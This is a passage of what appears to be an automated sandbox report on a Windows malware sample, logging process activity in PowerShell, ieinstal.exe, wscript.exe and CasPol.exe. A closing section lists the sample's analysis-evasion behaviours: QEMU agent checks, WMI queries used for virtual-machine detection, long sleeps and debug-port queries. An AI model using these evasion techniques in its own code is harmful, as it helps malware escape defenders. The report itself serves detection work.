Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 2768	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe TID: 2768	Thread sleep time: -39000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4204	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 7516	Thread sleep count: 9929 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 4204	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9341	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8733	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 9929	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 10_2_07526980 GetSystemInfo,

10_2_07526980

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 30000			Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 13_2_00B7E0F8 LdrInitializeThunk,

13_2_00B7E0F8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

